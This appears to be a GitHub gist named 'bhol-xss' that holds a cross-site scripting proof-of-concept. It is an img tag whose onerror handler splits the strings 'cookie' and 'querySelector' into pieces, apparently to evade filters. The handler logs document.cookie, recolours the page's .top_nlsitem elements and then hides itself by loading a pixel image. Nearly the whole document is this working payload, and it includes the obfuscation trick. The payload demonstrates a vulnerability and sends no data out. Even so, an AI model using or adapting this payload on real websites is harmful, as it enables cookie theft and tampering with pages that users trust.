-
-
Save camelcaseblog/789290b94208f0ccf5ff8eac295506a9 to your computer and use it in GitHub Desktop.
bhol-xss
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<img | |
id="xss-image" | |
src="/" | |
onerror="d = document; | |
c = ('cooki' + 'e').trim(); | |
qs = 'queryS' + 'elector'; | |
console.log(d[c]); | |
d[qs + 'All']('.top_nlsitem').forEach(n => n.style.backgroundColor = 'green'); | |
d[qs]('#xss-image').src = 'ht' + 'tps://upload.wikimedia.org/wikipedia/commons/c/ca/1x1.png';" | |
/> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment